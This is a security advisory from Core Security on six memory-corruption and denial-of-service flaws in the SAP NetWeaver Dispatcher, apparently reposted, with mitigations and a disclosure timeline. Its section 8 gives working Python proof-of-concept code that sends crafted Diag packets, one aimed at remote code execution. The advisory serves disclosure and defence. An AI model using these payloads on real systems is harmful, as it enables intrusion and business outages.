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SAP NetWeaver Dispatcher - Multiple Vulnerabilities

SAP NetWeaver Dispatcher - Multiple Vulnerabilities

Publié le 2012-05-09

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Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/



SAP Netweaver Dispatcher Multiple Vulnerabilities





1. *Advisory Information*



Title: SAP Netweaver Dispatcher Multiple Vulnerabilities

Advisory ID: CORE-2012-0123

Advisory URL:

http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities

Date published: 2012-05-08

Date of last update: 2012-05-08

Vendors contacted: SAP

Release mode: Coordinated release





2. *Vulnerability Information*



Class: Buffer overflow [CWE-119]

Impact: Code execution, Denial of service

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2011-1516, CVE-2011-1517, CVE-2012-2511, CVE-2012-2512,

CVE-2012-2513, CVE-2012-2514





3. *Vulnerability Description*



SAP Netweaver [1] is a technology platform for building and integrating

SAP business applications. Multiple vulnerabilities have been found in

SAP Netweaver that could allow an unauthenticated, remote attacker to

execute arbitrary code and lead to denial of service conditions. The

vulnerabilities are triggered sending specially crafted SAP Diag packets

to remote TCP port 32NN (being NN the SAP system number) of a host

running the "Dispatcher" service, part of SAP Netweaver Application

Server ABAP. By sending different messages, the different

vulnerabilities can be triggered.





4. *Vulnerable packages*



   . SAP Netweaver 7.0 EHP1 (disp+work.exe version v7010.29.15.58313).

   . SAP Netweaver 7.0 EHP2 (disp+work.exe version v7200.70.18.23869).

   . Older versions are probably affected too, but they were not checked.





5. *Non-vulnerable packages*



   . Vendor did not provide this information.





6. *Vendor Information, Solutions and Workarounds*



SAP released the security note

https://service.sap.com/sap/support/notes/1687910 regarding these

issues. Contact SAP for further information.



Martin Gallo proposed the following actions to mitigate the impact of

the vulnerabilities:



   1. Disable work processes' Developer Traces for the 'Dialog

Processing' component (for the vulnerabilities [CVE-2011-1516],

[CVE-2011-1517], [CVE-2012-2511] and [CVE-2012-2512]).

   2. Restrict access to the Dispatcher service's TCP ports (3200/3299)

(for all vulnerabilities).

   3. Restrict access to the work process management transactions

SM04/SM50/SM66 and profile maintenance RZ10/RZ20 (for the

vulnerabilities [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511] and

[CVE-2012-2512]).





7. *Credits*



These vulnerabilities were discovered and researched by Martin Gallo

from

http://www.coresecurity.com/content/services-overview-core-security-consulting-services.

The publication of this advisory was coordinated by Fernando Miranda

from http://www.coresecurity.com/content/corelabs-advisories .





8. *Technical Description / Proof of Concept Code*



*NOTE:* (The tracing of 'Dialog processing' has to be in level 2 or 3 in

order to exploit flaws [CVE-2011-1516], [CVE-2011-1517], [CVE-2012-2511]

and [CVE-2012-2512]).



The following python script can be used to reproduce the vulnerabilities

described below:



/-----

import socket, struct

from optparse import OptionParser



# Parse the target options

parser = OptionParser()

parser.add_option("-l", "--hostname", dest="hostname", help="Hostname",

default="localhost")

parser.add_option("-p", "--port", dest="port", type="int", help="Port

number", default=3200)

(options, args) = parser.parse_args()



def send_packet(sock, packet):

    packet = struct.pack("!I", len(packet)) + packet

    sock.send(packet)



def receive(sock):

    length = sock.recv(4)

    (length, ) = struct.unpack("!I", length)

    data = ""

    while len(data)<length:

        data+= sock.recv(length)

    return (length, data)



def initialize(sock):

    diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"

    user_connect =

"\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"

    support_data = "\x10\x04\x0b\x00\x20"

    support_data+=

"\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"

    support_data+=

"\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"

    dpheader =

"\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"

    dpheader+= struct.pack("I", len(diagheader + user_connect +

support_data))

    dpheader+=

"\x00\xff\xff\xff\xff\xff\xff                                        "

    dpheader+= "terminalXXXXXXX"

    dpheader+=

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00                   

\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    send_packet(sock, dpheader + diagheader + user_connect + support_data)



def send_message(sock, message):

    diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"

    step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"

    eom = "\x0c"

    send_packet(sock, diagheader + step + message + eom)



# Connect and send initialization packet

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connection.connect((options.hostname, options.port))

initialize(connection)

receive(connection)      



-----/

 In the following subsections, we give the python code that can be added

after the script above in order to reproduce all vulnerabilities.





8.1. *SAP Netweaver DiagTraceR3Info Vulnerability*



[CVE-2011-1516] The vulnerability can be triggered when SAP Netweaver

'disp+work.exe' module process a specially crafted network packet.

Malicious packets are processed by the vulnerable function

'DiagTraceR3Info' in the 'disp+work.exe' module when the Developer Trace

is configured at levels 2 or 3 for the "Dialog processor" component of

the "Dialog" work process handling the packet [2]. This vulnerability

could allow a remote unauthenticated attacker to execute arbitrary code

with the privileges of the user running the "Dispatcher" service. The

following python code can be used to trigger the vulnerability:



/-----

crash = "X"*114 + "\xff\xff" # --> Unicode Address to call !

crash+= "Y"*32

crash = "\x10\x06\x20" + struct.pack("!H", len(crash)) + crash

send_message(connection, crash)

-----/







8.2. *SAP Netweaver DiagTraceHex Denial of Service Vulnerability*



[CVE-2011-1517] The vulnerability can be triggered by sending a

specially crafted network packet to the vulnerable function

'DiagTraceHex' in the 'disp+work.exe'. This vulnerability could allow a

remote unauthenticated attacker to conduct a denial of service attack

against the vulnerable systems. The following python code can be used to

trigger the vulnerability:



/-----

crash = "\x12\x04\x18\xff\xff\xff\xffCrash!"

send_message(connection, crash)

-----/







8.3. *SAP Netweaver DiagTraceAtoms Denial of Service Vulnerability*



[CVE-2012-2511] The vulnerability can be triggered by sending a

specially crafted network packet to the vulnerable function

'DiagTraceAtoms'. This vulnerability could allow a remote

unauthenticated attacker to conduct a denial of service attack. The

following python code can be used to trigger the vulnerability:



/-----

crash = "\x12\x09\x02\x00\x00\x00\x08" + "\x80"*8

send_message(connection, crash)

-----/







8.4. *SAP Netweaver DiagTraceStreamI Denial of Service Vulnerability*



[CVE-2012-2512] The vulnerability can be triggered by sending a

specially crafted network packet to the vulnerable function

'DiagTraceStreamI' and could allow a remote unauthenticated attacker to

conduct a denial of service attack.



/-----

crash = "\x10\x13\x09\x00\xFF\x12\x1A\x59\x51"

send_message(connection, crash)

-----/







8.5. *SAP Netweaver Diaginput Denial of Service Vulnerability*



[CVE-2012-2513] The vulnerability can be triggered by the vulnerable

function 'Diaginput', allowing a denial of service attack against the

vulnerable systems.



/-----

crash = "\x10\x0c\x0e\x00\0a" + "A"*10

send_message(connection, crash)

-----/







8.6. *SAP Netweaver DiagiEventSource Denial of Service Vulnerability*



[CVE-2012-2514] The vulnerability can be triggered by the vulnerable

function 'DiagiEventSource' in the 'disp+work.exe' module. This

vulnerability could allow a remote unauthenticated attacker to conduct a

denial of service attack.



/-----

crash = "\x10\x0f\x01\x00\x11" + "A"*17

send_message(connection, crash)

-----/







9. *Report Timeline*



. 2012-01-24:

Core Security Technologies notifies the SAP team of the vulnerability,

setting the estimated publication date of the advisory for February

21st, 2012.



. 2012-01-24:

Core sends an advisory draft with technical details.



. 2012-01-24:

The SAP team confirms the reception of the issue and asks to use the

security ID 582820-2012 for further communication. SAP also notifies its

terms and conditions [3], and asks for Core to commit to that guideline.



. 2012-02-01:

The Core Advisories Team communicates that it has its own guidelines for

the advisories publication process, which may conflict with SAP's

guidelines. In particular, Core does not guarantee that the publication

of the advisory will be postponed until a fix or patch is made available

by SAP. If information about this vulnerability is partially or

completely leaked by a third party, the advisory would be released

immediately as forced release. Despite this, the Core team commits to

comply with SAP's guidelines as much as possible.



. 2012-02-21:

First release date missed.



. 2012-02-22:

Core asks for the status of the fix and notifies that the release date

was missed.



. 2012-02-23:

SAP notifies that, because the development team has to downport the

solutions for a huge bunch of software releases, the earliest release

date for the patches would be May 8th 2012.



. 2012-02-23:

Core re-schedules the advisory publication to May 8th.



. 2012-04-16:

Core asks if the patching process is still on track to release patches

on May 8th and requests a status of the fix.



. 2012-04-16:

Vendor notifies that the release date is still planned for May 8th, but

due to quality control processes this date cannot be guaranteed.



. 2012-05-04:

Core notifies that everything is ready for publication and requests the

vendor to confirm the release date and the list of affected platforms

(no reply received).



. 2012-05-07:

Core asks again for the status of the fix.



. 2012-05-08:

SAP notifies that they have released the security note 1687910 [4] on

May Patch Day 2012 and asks to include that information in [Sec. 6]. SAP

also requests Core to remove all the technical information researched by

Martin Gallo in [Sec. 8].



. 2012-05-08:

Core replies that the reporting of vulnerabilities is aimed at helping

vulnerable users to understand and address the issues; the advisory will

thus be released with the technical information.



. 2012-05-08:

Advisory CORE-2012-0123 published.







10. *References*



[1] http://www.sap.com/platform/netweaver/index.epx

[2]

http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/cc212b3fa5296fe10000000a42189b/frameset.htm

[3] SAP's legal information, terms and conditions

http://www.sdn.sap.com/irj/sdn/security?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a#section46.



[4] SAP security note 1687910

https://service.sap.com/sap/support/notes/1687910.





11. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://corelabs.coresecurity.com.





12. *About Core Security Technologies*



Core Security Technologies enables organizations to get ahead of threats

with security test and measurement solutions that continuously identify

and demonstrate real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

effectively secure their organizations.



Core Security's software solutions build on over a decade of trusted

research and leading-edge threat expertise from the company's Security

Consulting Services, CoreLabs and Engineering groups. Core Security

Technologies can be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.





13. *Disclaimer*



The contents of this advisory are copyright (c) 2012 Core Security

Technologies and (c) 2012 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/





14. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
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